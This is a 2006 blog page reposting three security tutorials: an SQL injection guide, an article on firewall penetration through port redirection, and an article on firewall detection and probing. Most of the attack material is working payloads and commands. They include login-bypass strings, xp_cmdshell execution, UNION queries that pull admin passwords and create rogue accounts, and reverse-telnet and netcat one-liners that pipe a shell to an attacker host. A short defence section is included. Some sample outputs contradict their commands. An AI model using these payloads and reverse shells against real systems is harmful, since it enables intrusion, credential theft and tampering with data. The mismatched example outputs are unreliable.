To Be or Not To Be!!!

Just another Wordpress.com weblog

SQL Injection

The following article will try to help beginners with grasping the problems facing them while trying to utilize SQL Injection techniques, to successfully utilize them, and to protect themselves from such attacks.

1.0 Introduction
When a machine has only port 80 opened, your most trusted vulnerability scanner cannot return anything useful, and you know that the admin always patch his server, we have to turn to web hacking. SQL injection is one of type of web hacking that require nothing but port 80 and it might just work even if the admin is patch-happy. It attacks on the web application (like ASP, JSP, PHP, CGI, etc) itself rather than on the web server or services running in the OS.

This article does not introduce anything new, SQL injection has been widely written and used in the wild. We wrote the article because we would like to document some of our pen-test using SQL injection and hope that it may be of some use to others. You may find a trick or two but please check out the “9.0 Where can I get more info?” for people who truly deserve credit for developing many techniques in SQL injection.

1.1 What is SQL Injection?
It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.

1.2 What do you need?
Any web browser.

2.0 What you should look for?
Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for “FORM” tag in the HTML code. You may find something like this in some HTML codes:
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>

Everything between the <FORM> and </FORM> have potential parameters that might be useful (exploit wise).

2.1 What if you can’t find any page that takes input?
You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like:

http://duck/index.asp?id=10

3.0 How do you test if it is vulnerable?
Start with a single quote trick. Input something like:

hi’ or 1=1–

Into login, or password, or even in the URL. Example:
 – Login: hi’ or 1=1–
 – Pass: hi’ or 1=1–
 – http://duck/index.asp?id=hi&#8217; or 1=1–

If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly. Example:

<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value=”hi’ or 1=1–“>
</FORM>

If luck is on your side, you will get login without any login name or password.

3.1 But why ‘ or 1=1–?
Let us look at another example why ‘ or 1=1– is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:

http://duck/index.asp?category=food

In the URL, ‘category’ is the variable name, and ‘food’ is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):

v_cat = request(“category”)
sqlstr=”SELECT * FROM product WHERE PCategory='” & v_cat & “‘”
set rs=conn.execute(sqlstr)

As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:

SELECT * FROM product WHERE PCategory=’food’

The query should return a resultset containing one or more rows that match the WHERE condition, in this case, ‘food’.

Now, assume that we change the URL into something like this:

http://duck/index.asp?category=food&#8217; or 1=1–

Now, our variable v_cat equals to “food’ or 1=1– “, if we substitute this in the SQL query, we will have:

SELECT * FROM product WHERE PCategory=’food’ or 1=1–‘

The query now should now select everything from the product table regardless if PCategory is equal to ‘food’ or not. A double dash “–” tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote (‘). Sometimes, it may be possible to replace double dash with single hash “#”.

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try

‘ or ‘a’=’a

The SQL query will now become:

SELECT * FROM product WHERE PCategory=’food’ or ‘a’=’a’

It should return the same result.

Depending on the actual SQL query, you may have to try some of these possibilities:

‘ or 1=1–
” or 1=1–
or 1=1–
‘ or ‘a’=’a
” or “a”=”a
‘) or (‘a’=’a

4.0 How do I get remote execution with SQL injection?
Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:

‘; exec master..xp_cmdshell ‘ping 10.10.1.2’–

Try using double quote (“) if single quote (‘) is not working.

The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:

#tcpdump icmp

If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.

5.0 How to get output of my SQL query?
It is possible to use sp_makewebtask to write your query into an HTML:

‘; EXEC master..sp_makewebtask “\\10.10.1.3\share\output.html”, “SELECT * FROM INFORMATION_SCHEMA.TABLES”

But the target IP must folder “share” sharing for Everyone.

6.0 How to get data from the database using ODBC error message
We can use information from error message produced by the MS SQL Server to get almost any data we want. Take the following page for example:

http://duck/index.asp?id=10

We will try to UNION the integer ’10’ with another string from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–

The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘table1’ to a column of data type int.
/index.asp, line 5

The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is “table1”.

To get the next table name, we can use the following query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (‘table1’)–

We also can search for data using LIKE keyword:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ‘%25login%25’–

Output:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login’ to a column of data type int.
/index.asp, line 5

The matching patent, ‘%25login%25’ will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, “admin_login”.

6.1 How to mine all column names of a table?
We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’–

Output:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id’ to a column of data type int.
/index.asp, line 5

Now that we have the first column name, we can use NOT IN () to get the next column name:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’)–

Output:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_name’ to a column of data type int.
/index.asp, line 5

When we continue further, we obtained the rest of the column name, i.e. “password”, “details”. We know this when we get the following error message:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’,’login_name’,’password’,details’)–

Output:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

6.2 How to retrieve any data we want?
Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database.

Now, let’s get the first login_name from the “admin_login” table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login–

Output:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘neo’ to a column of data type int.
/index.asp, line 5

We now know there is an admin user with the login name of “neo”. Finally, to get the password of “neo” from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’neo’–

Output:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘m4trix’ to a column of data type int.
/index.asp, line 5

We can now login as “neo” with his password “m4trix”.

6.3 How to get numeric string value?
There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number (character between 0-9 only). Let say we are trying to get password of “trinity” which is “31173”:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’trinity’–

We will probably get a “Page Not Found” error. The reason being, the password “31173” will be converted into a number, before UNION with an integer (10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry.

To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b’%20morpheus’) FROM admin_login where login_name=’trinity’–

We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for ‘+’ = 0x2b). We will append ‘(space)morpheus’ into the actual password. Therefore, even if we have a numeric string ‘31173’, it will become ‘31173 morpheus’. By manually calling the convert() function, trying to convert ‘31173 morpheus’ into an integer, SQL Server will throw out ODBC error message:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘31173 morpheus’ to a column of data type int.
/index.asp, line 5

Now, you can even login as ‘trinity’ with the password ‘31173’.

7.0 How to update/insert data into the database?
When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for “neo”:

http://duck/index.asp?id=10; UPDATE ‘admin_login’ SET ‘password’ = ‘newpas5′ WHERE login_name=’neo’–

To INSERT a new record into the database:

http://duck/index.asp?id=10; INSERT INTO ‘admin_login’ (‘login_id’, ‘login_name’, ‘password’, ‘details’) VALUES (666,’neo2′,’newpas5′,’NA’)–

We can now login as “neo2” with the password of “newpas5”.

8.0 How to avoid SQL Injection?
Filter out character like single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, in all strings from:
 – Input from users
 – Parameters from URL
 – Values from cookie

For numeric value, convert it to an integer before parsing it into SQL statement. Or using ISNUMERIC to make sure it is an integer.

Change “Startup and run SQL Server” using low privilege user in SQL Server Security tab.

Delete stored procedures that you are not using like:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Tháng Tám 3, 2006 Posted by | Network and Security | 4 bình luận

Firewall Penetration through Port Redirection

This is part 2 of my first document, Detection of Firewalls and Probing Networks behind Firewalls. This article will discuss ideas and techniques of penetrating firewalls through port redirection. You will need knowledge in TCP/IP, networking, UNIX, ACL’s and how they work. Enjoy.

Preface:

In some cases, a filtering device may filter out all packets except for packets from a certain network, or system. If this is the case, an attacker might compromise the key target system, or a key system on a network which has access beyond the firewall and then use port redirection to exploit a trust with the firewall. Allowing the intruder a hole in the firewall, in a case which he might foward packets to a specified destination in a once “firewalled” area. Redirection works by listening on a certain configured port, and redirecting all raw packets to a secondary destination.

Redirection usually occurs from the attackers system, to a defaced key system with access to the target network, and then to the target network. But in some cases, the redirection may spawn at the heart of the target system, in our scenario, reverse telnet.

Reverse Telnet:

One of the most famed technique or method of redirection is executed by way off our daily telnet daemon, accompanying the average UNIX distribution. This technique is spawned from a compromised system within the target network. Reverse telnet is exceptionally simple for a couple reasons; the redirection is almost instant, and the uploading of files is not necessary (unless of course the system did not come with the usual daemon).

It is called “reverse telnet” because it uses telnet to connect to listening netcat windows, and then feeds the commands from one window into the reverse telnet stream, sending output into the other window. Reverse telnet is done by first starting two netcat listeners on a box, using two different command prompts:

C:\> nc -vv -l -p 80

E:\> nc -vv -l -p 25

Next we use the following UNIX command on the target system to take input from port 25, and pipe it to the local shell to execute the command, and then pipe the output back to the attacker’s port 80 shell.

[root@localhost]# sleep 10000 | telnet 10.10.1.1 80 | /bin/bash | telnet 10.10.1.1 25

NetCat Shells:

If you have the ability and time to upload files onto the target system, we can execute a method similar to reverse telnet. Take into mind this example:

C:\> nc 10.10.1.1 80 | cmd.exe | nc 10.10.1.1 25

If the machine on 10.10.1.1 has a listening netcat service on TCP 80 and TCP 25, and configured correctly for TCP 80 to be inbound and TCP 25 to be outbound between the compromised system, then this command will gladly shell remote commands through the shell it gave you.

Datapipe:

Setting up 3 netcat shells can be irritating and time consuming. Several utilities exist to make this technique a lot simpler and less time consuming, specifically for port redirection. A tool available for UNIX systems, quite popular and used very often is datapipe. You may obtain datapipe at packetstorm (http://packetstormsecurity.nl/Exploit_Code_Archive/datapipe.c)

Datapipe may seem irritating at first, since it must be run on both ends of the attack, the attackers system and the compromised host behind the firewall. For example, attack a Windows NT system that is targetted, which is protected by a firewall that is ruled to permit high numbered ports. If a system on the network behind the firewall compromised, the attacker, using datapipe may set up a port redirection on the compromised system to listen to port 65000 (which is a high numbered port allowed by our firewall) and forward it to port 139 (the Windows NT system, 10.10.1.12). (following command:)

datapipe 65000 139 10.10.1.12

On the attackers end, a redirector system must be set up to listen on any given port, and then redirected to port 65000 to the compromised host (10.10.1.7).

datapipe 139 65000 10.10.1.7

A Set up like this would allow an attacker to send his packets to his redirection system, thus allowing it to redirect the packets to the compromised host on the target’s network. The redirection system will redirect the packets to a high level port, in our senario, port 65000, which is not filtered by the firewall. The compromised host will recieve these packets and then redirect them to port 139 on the target Windows NT system.

rinetd:

Also known as the `internet redirection server`, or `reverse inet daemon`. Written by Thomas Boutell, and can be found at Boutell’s site (http://www.boutell.com/rinetd/index.html). In a nutshell it redirects TCP connections from one IP address and port to another. You may find some similarities between its functions and datapipes.

“rinetd is a single-process server which handles any number of connections to the address/port pairs specified in the file /etc/rinetd.conf. Since rinetd runs as a single process using nonblocking I/O, it is able to redirect a large number of connections without a severe impact on the machine. This makes it practical to run TCP services on machines inside an IP masquerading firewall.”

rinetd will redirect only connections which require one socket, thus excluding FTP. FTP will not be redirected by rinetd because it requires more than one connection. Rinetd uses a very easy syntax, which is entered into his configuration file; /etc/rinetd.conf (on *nix systems). The syntax is basically:

bindaddress bindport connectaddress connectport

An example:

10.10.1.17 23 10.1.1.3 23

This rule entered to the configuration file would redirect all connections to port 23 from the address 10.10.1.17, (anythin from a real one to a virtual interface), through rinetd and then to port 23 on 10.1.1.3, this could be a system inside a firewall having routing abilities to the outside world disabled.

Rinetd ‘s configuration file, as mentioned early, is in /etc/rinetd.conf. Running rinetd would be the cause of the command:

[root@localhost]# rinetd -c config_file

The -c switch is used to point rinetd to a different configuration file, other than /etc/rinetd.conf. Like datapipe, rinetd may exploit misconfigured firewall ACL.

fpipe:

FPipe is a TCP source port forwarder/redirector, from Foundstone, Inc. It can create a TCP stream with a source port of your choice. The most ideal and valueable Windows replacement for the UNIX-based datapipe.

Going back to part 1, we see that source port’s are large firewall insecurities. Only port redirector that is known to bind to a static port to bypass firewalls for the Windows platform is fpipe. For penetration testing purposes, this is very commonly used to circumvent a firewall or a router that is ruled to permit traffic with source of a certain port, example: port TCP 25 is to talk the mail server.

By default, TCP/IP selects a very high source port for client connections, and using the same rules that most firewall’s have, they will permit high numbered ports through their filter. Even if the firewall just allows, UDP 53 which is the Domain Name Server, also known as DNS, fpipe can force the stream to continuously use a source port of 53. Therefore the firewall will ecknowledge that the stream is of a permitted source port, and allow it through.

Conclusion:

In this document we have discussed various ways a one may attack a key target system or network behind a firewall without having to dismantle the firewall, or cause anything that may be quite noticable. Firewalls and routers provide the front line defense base of a network, when they’re breached and the attacks power can hardly be determined or even assumed.

Tháng Bảy 24, 2006 Posted by | Security Exploits, Security Tools | 7 bình luận

Detection of Firewalls, and Probing networks behind firewalls.

Preface:

This paper will discuss identification, detection and the penetration techniques of firewalls, more specifically; the ability to probe a network behind a firewall. The continued version will discuss the ability to have access to a key or target network behind a firewall, without having to disable/alter the firewall, and again a bit more specifically; port redirection techniques. It is recommended that you have knowledge of networking, the UNIX Operating system, and an nmap utility on hand (http://www.insecure.org/nmap). Enjoy…and my apologies for the crappy format.

The Suicide Mission:

Allowing a server to connect to the internet without a firewall. Since the writing of Cheswick and Bellovin’s book about deploying and building firewalls, firewalls have been constant needs for ISP’s, hosting companies, even personal users. Equally as destructive, reckless, and suicidal, is allowing the non-experienced to configure the firewall. Usually its the network or the system administrator. The administrator might have experience with the network…but their security skills may be limited. Leading to a misconfigured firewall. Result; an overly confident administrator that thinks his network is secure, and a major hole in the networks packet traffic filter…

Introduction:

Two most familiar firewalls arise popularity in the market at the moment; Application Proxies, and Packet Filtering Gateways. Mosts opinion resides that Application Proxies are more secure than Packet Filtering Gateways. They have their Pro’s and Con’s. Application Proxies are far more strict on letting packets into the network, as well as being harsh for any packets sent outward. Packet Filtering Gateways can be found on large corporate networks, they have high performance and inbound traffic requirements.

Firewalls have secured many systems and networks over the past years. Secured them from malicious packets, prying eyes, etc. But just a plain firewall is nothing near secure. Vulnerabilities in these firewalls arise quite often. Each type of firewall is found with a new exploit and technique to circumvent. The biggest exploit vulnerability is a misconfiguration of the firewall.

Don’t take me wrong. A well-configured, -architecturally designed, -updated, and maintained firewall, is hardly penetrable. Most hackers will run into these firewalls, and not bother with them, attempting to find a way to work around them. By either exploiting trust with the secured systems behind the firewall, or even by attacking through another service not filtered by the firewall, i.e. dialup.

Detecting Present Firewalls and Beyond:

Each firewall has its own unique style of identifying itself. Attackers are able to take advantage of this identification sequence by using simple scanning, banner grabbing, etc. They may even be able to identify the version, type, and maybe even some certain rules. This identification doesn’t seem important, but once they map out your firewall’s strategic points, weaknesses begin to surface.

About the most simplest detection/indentification technique is a simple scan for open ports. Certain firewalls can be identified by the default open ports. CheckPoint’s Firewall-1 by default listens on TCP ports 256, 257, 258. Whereas Microsoft’s Proxy Server also by default listens on TCP ports 1745 and 1080. Other firewalls come with their own default ports. Using nmap, launching it with certain arguements allow us to check for a certain firewall, or to check if a firewall exists or not. Simply:

[root@localhost]# nmap -n -vv -P0 -p256, 257, 258, 1080, 1745 10.10.1.8

Its quite certain that any skilled, or even newly introduced attacker will preform these scans on a network to provide them with information of any firewall or packet filtering obstacle. By the way, Intrusion Detection Systems, commonly known as IDSes, they don’t pick these scans up. You should probably be able to configure your IDS to pick up any scans, but usually they log only the “hardcore” threatening scans. Also note banner grabbing is a technique used to identify firewalls, much like a default port.

C:\> nc -v -n 10.10.1.8 23
(UNKNOWN) [10.10.1.8] 23 (?) open
Eagle Secure Gateway.
Hostname:

Even for more evidence that this may be a firewall, using netcat to TCP 25 (Send Mail Transfer Protocol, SMTP):

C:\> nc -v -n 10.10.1.8 25
(UNKNOWN) [10.10.1.8] 25 (?) open
421 10.10.1.8 Sorry, the firewall does not provide mail service to you.

Therefore showing that our host is a firewall. Allowing further mapping of the network.

Also, a third way for identification of firewalls resides in a port identification technique. Several firewalls may give back a sequential set of numbers, therefore identifying the firewall type and version. Example of netcat connecting to an SNMP management on port TCP 259 with a Checkpoint Firewall-1 impelemented.

[root@localhost]# nc -v -n 10.10.1.72 259
(UNKNOWN) [192.168.21.1] 259 (?) open
30000003

[root@localhost]# nc -v -n 10.10.1.95 259
(UNKNOWN) [192.168.29.212] 259 (?) open
31300003

Another technique is using debugging tools. Traceroute works fine. Traceroute, or known as tracert.exe on Windows systems, is a network debugging utility used to detect amount and active hops towards a host. Sends UDP datagram packets by default, or ICMP ECHO packets by switch decision. These packets are set with a TTL (Time to Live) field. The TTL is set for 1. The Packets TTL field is incremented by 1 per host detected, therefore reaching the latest undetected host with a TTL field of 0. When this packet with a TTL of 0 reaches a router, the router will by default respond with an ICMP error message (TTL exceeded in transit.) to the original, tracerouting host. Traceroute chooses a high UDP port thats very unlikely to be used by any running service or application, thus no errors may occur. Therefore traceroute can be used for detection of firewalls. Yet certain deductions and reading must be enabled in the users mind, but its possible. The following example shows a basic traceroute attempt to discover a firewall.

Traceroute:

In this scenario, a network is protected by a packet filtering device that blocks all excess and found traffic except for ping and ping responses (ICMP types 8 and 0 respectively). We can and will attempt to use the traceroute program to show us what hosts are behind this filter, which can be the firewall, or a router (which is presumably against the security policy).

[root@localhost]# traceroute 10.10.1.10
traceroute to 10.10.1.10 [10.10.1.10], 15 hops max, 20 byte packets
1 10.10.1.2 [10.10.1.2] 0.022 ms 0.024 ms 0.025 ms
2 10.10.1.3 [10.10.1.3] 1.327 ms 2.360 ms 2.380 ms
3 10.10.1.4 [10.10.1.4] 4.217 ms 4.612 ms 4.656 ms
4 10.10.1.5 [10.10.1.5] 4.927 ms 5.090 ms 5.238 ms
5 10.10.1.6 [10.10.1.6] 5.529 ms 5.812 ms 6.003 ms
6 10.10.1.7 [10.10.1.7] 56.921 ms 59.162 ms 61.762 ms
7 10.10.1.8 [10.10.1.8] 63.832 ms 63.682 ms 61.235 ms
8 * * *
9 * * *
10 * * *

Hop 7, at 10.10.1.8, is assumed to be the firewall. Of course, we may not be right. As you learned earlier, a firewall can be a router, or any other packet filtering or redirection application.
Our Packets pass through to detect the firewall. Using the -I arguement on the Linux version of traceroute.

[root@localhost]# traceroute -I 10.10.1.10
traceroute to 10.10.1.10 [10.10.1.10], 15 Hops Max, 20 byte packets
1 10.10.1.2 [10.10.1.2] 0.022 ms 0.024 ms 0.025 ms
2 10.10.1.3 [10.10.1.3] 1.327 ms 2.360 ms 2.380 ms
3 10.10.1.4 [10.10.1.4] 4.217 ms 4.612 ms 4.656 ms
4 10.10.1.5 [10.10.1.5] 4.927 ms 5.090 ms 5.238 ms
5 10.10.1.6 [10.10.1.6] 5.529 ms 5.812 ms 6.003 ms
6 10.10.1.7 [10.10.1.7] 56.921 ms 59.162 ms 61.762 ms
7 10.10.1.8 [10.10.1.8] 63.832 ms 63.682 ms 61.235 ms
8 10.10.1.9 [10.10.1.9] 62.926 ms 66.125 ms 67.032 ms
9 10.10.1.10 [10.10.1.10] 70.482 ms 71.273 ms 71.762 ms
10 10.10.1.11 [10.10.1.11] 73.192 ms 76.921 ms 82.325 ms

So, instead of using the default UDP datagram TTL packets, which seemed to not work. We decided to force traceroute with the -I arguement to use ICMP packets. Looking at the traceroute results carefully you can see that we were able to detect hosts, and systems behind the firewall.

One Common scenario configuration is a firewall blocking all connections and traffic, inbound or outbound the network except for the Domain Name Service, also known as DNS. This leaves UDP port 53 open.

[root@localhost]# traceroute 10.10.1.10
traceroute to 10.10.1.10 [10.10.1.10], 15 hops max, 20 byte packets
1 10.10.1.2 [10.10.1.2] 0.022 ms 0.024 ms 0.025 ms
2 10.10.1.3 [10.10.1.3] 1.327 ms 2.360 ms 2.380 ms
3 10.10.1.4 [10.10.1.4] 4.217 ms 4.612 ms 4.656 ms
4 10.10.1.5 [10.10.1.5] 4.927 ms 5.090 ms 5.238 ms
5 10.10.1.6 [10.10.1.6] 5.529 ms 5.812 ms 6.003 ms
6 10.10.1.7 [10.10.1.7] 56.921 ms 59.162 ms 61.762 ms
7 10.10.1.8 [10.10.1.8] 63.832 ms 63.682 ms 61.235 ms
8 * * *
9 * * *
10 * * *

Looking up at the recent example…the last detected hop is at 10.10.1.8. We’re assuming everything else is blocked through, except for Domain Name Server, UDP 53. We have this knowledge, therefore we can use it to our advantage. Using and customizing traceroute, will allow us to probe targets behind the firewall. We can control a couple things, the starting traceroute port used, which is increased by every probe. And we can control the number of probes sent, which is by default set to 3. We can also use the following determination of how many hops are between our attacking host and the firewall.

Beginning our scan with a starting port number of :

(target_port – (number_of_hops * num_of_probes)) – 1

We will attempt to fool the firewall into thinking that we are sending it a Domain Name Server query packet, therefore bypassing and circumventing Access Control Lists (ACL’s). Using the formula listed above (not really a formula, i just want myself to feel more educated). We can use it to help us configure and customize our traceroute packet. Also note that firewalls do not do packet content analysis, therefore they can be fooled by spoofing a packet. Formula variables plugged in with or scenario:

( 53 – ( 8 * 3 )) – 1 = 28

The new reconstructed packet will have an acceptable and accesible port number, therefore allowing it to bypass ACL restrictions. As shown in the following example.

[root@localhost]# traceroute -p28 10.10.1.10
traceroute to 10.10.1.10 [10.10.1.10], 15 hops max, 20 byte packets
1 10.10.1.2 [10.10.1.2] 0.522 ms 0.624 ms 0.625 ms
2 10.10.1.3 [10.10.1.3] 5.327 ms 6.360 ms 6.380 ms
3 10.10.1.4 [10.10.1.4] 7.217 ms 7.612 ms 7.656 ms
4 10.10.1.5 [10.10.1.5] 8.927 ms 9.090 ms 9.238 ms
5 10.10.1.6 [10.10.1.6] 9.529 ms 10.812 ms 12.003 ms
6 10.10.1.7 [10.10.1.7] 56.921 ms 59.162 ms 61.762 ms
7 10.10.1.8 [10.10.1.8] 63.832 ms 63.682 ms 61.235 ms
8 10.10.1.9 [10.10.1.9] 65.158 ms * *
9 * * *
10 * * *

Recalling the fact that traceroute increases the port number for each probe sent, or scan terminates after passing our target firewall. Since the first probe had an assigned port of UDP 53 (DNS), the next probe sent had UDP 54. Based on the ACL’s gathered for this packet filtering application, the UDP 54 is blocked. To possibly get more information and probe the network yet some more, we must keep the packet at a condition where it will bypass the ACL. And since we would like to keep the port at UDP 53, we need to issue another arguement to disable incrementation of packet portnumber for each probe. Allowing every packet sent to fit the ACL requirements and be acceptable, therefore permitting us further probing of the network. Here traceroute1.4a5 is used, found at http://www.packetfactory.com.

[root@localhost]# traceroute -S -p28 10.10.1.12
traceroute to 10.10.1.12 [10.10.1.12], 15 hops max, 20 byte packets
1 10.10.1.2 [10.10.1.2] 0.522 ms 0.624 ms 0.625 ms
2 10.10.1.3 [10.10.1.3] 5.327 ms 6.360 ms 6.380 ms
3 10.10.1.4 [10.10.1.4] 7.217 ms 7.612 ms 7.656 ms
4 10.10.1.5 [10.10.1.5] 8.927 ms 9.090 ms 9.238 ms
5 10.10.1.6 [10.10.1.6] 9.529 ms 10.812 ms 12.003 ms
6 10.10.1.7 [10.10.1.7] 56.921 ms 59.162 ms 61.762 ms
7 10.10.1.8 [10.10.1.8] 63.832 ms 63.682 ms 61.235 ms
8 10.10.1.9 [10.10.1.9] 62.926 ms 66.125 ms 67.032 ms
9 10.10.1.10 [10.10.1.10] 92.332 ms 93.214 ms 96.016 ms
10 10.10.1.11 [10.10.1.11] 101.523 ms 103.273 ms 103.923 ms
11 10.10.1.12 [10.10.1.12] 104.516 ms 105.523 ms 105.682 ms
12 10.10.1.13 [10.10.1.13] 109.231 ms 111.122 ms 117.923 ms

Firewalking:

While we’re still talking about traceroute and traceroute packets, I will breifly discuss Firewalking. Firewalk works by constructing packets with an IP TTL calculated to expire exactly one hop past the firewall, like Traceroute. Expected Result: The packet is allowed by the firewall, it will be allowed to pass and will expire as instructed. Therefore giving off an “ICMP TTL expired in transit” message. Of course, if the packet is blocked by the firewall’s rules, it will be dropped down, and we will recieve either a null response (no response), or an ICMP type 13 Admin Prohibited filter packet. By sending probes in a successive manner and recording which ones answer and which ones don’t, the access list on the gateway can be determined.We must have two pieces of information before we begin:

1) IP Address of the Last Gateway detected before the firewall kicks in.
2) IP Address of a host located in the firewalled area, behind the firewall.

IP Address 1, the gateway, will provide us as a way point. If we can not get a response beyond this machine, it is assumed that our packet is being blocked by whatever protocol we tried to pass. As you might have figured out already, IP Address 2, the host, will be used as a destination for the packets. An example of firewalk in action:

[root@localhost]# firewalk -n -P1-8 -pTCP 10.10.1.7 10.10.1.12
Firewalking through 10.0.0.5 (towards 10.0.0.20) with a maximum of 25 hops.
Ramping up hopcounts to binding host…
probe: 1 TTL: 1 port 33434: [10.10.1.1]
probe: 2 TTL: 2 port 33434: [10.10.1.2]
probe: 3 TTL: 3 port 33434: [10.10.1.3]
probe: 4 TTL: 4 port 33434: [10.10.1.4]
probe: 5 TTL: 5 port 33434: [10.10.1.5]
probe: 6 TTL: 6 port 33434: [10.10.1.6]
probe: 7 TTL: 7 port 33434: Bound scan: 7 hops [10.10.1.7]
port 135: open
port 136: open
port 137: open
port 138: open
port 139: *
port 140: open

As we can see, the firewall’s ACL rules are bypassed by the use of firewalk. More information including the source code can be found at http://www.packetfactory.net/projects/.

Now back to our cool radical utility nmap. Reason: nmap scans a host like a normal scanner and gives you an “open” or “closed”, plus it tells you what ports may be blocked. There are 3 reasons or conditions that may cause the return of a fitlered port:
1) No SYN/ACK packet was recieved.
2) No RST/ACK packet was recieved.
3) System replied with an ICMP type 3 (Destination Unreachable) with code 13 (Communication Administratively Prohibited).

Nmap will use all these conditions and consider it a filtered port. For Example:

[root@localhost]# nmap -p21,23,53,80 -P0 -vv 10.10.1.10
Starting nmap V. 2.07 by Fyodor (fyodor@dhp.com, http://www.insecure.com/nmap/)
Initiating TCP connect() scan against (10.10.1.10)
Adding TCP port 21 (state Open).
Adding TCP port 53 (state Firewalled).
Adding TCP port 23 (state Firewalled).
Adding TCP port 80 (state Open).
Interesting ports on (10.10.1.10):
Port State Protocol Service
21 open tcp ftp
23 filtered tcp telnet
53 filtered tcp domain
80 open tcp http

From what we see in the ouput, a couple of ports are `Firewalled`. We can use the tcpdump output to determine the reason its filtered.

Raw Packet Transmission and HPING:

Raw packet transmission is also used to probe networks behind a firewall. Hping works by sending TCP packets a destinational port, then analyzing and reporting the packet recieved. Hping allows us to discover accepted, blocked, dropped, or rejected packets. Thus allowing our probing of the ACL rules to expand even further and more indepth.

[root@localhost]# hping 10.10.1.7 -c2 -S -p21 -n
HPING 10.10.1.7 (eth0 10.10.1.1) : S set, 40 data bytes
60 bytes from 10.10.1.1: flags=SA seq=0 ttl=242 id=65121 win=64240
time=144.4 ms

Looking at the recent example, we can see that TCP port 21 on 10.10.1.7 is open, given the fact that we recieved a packet with an SA flag set, which is basically a SYN/ACK packet. This says that a port is open, but we do not know if it is the firewall or not. A little more probing must take place.

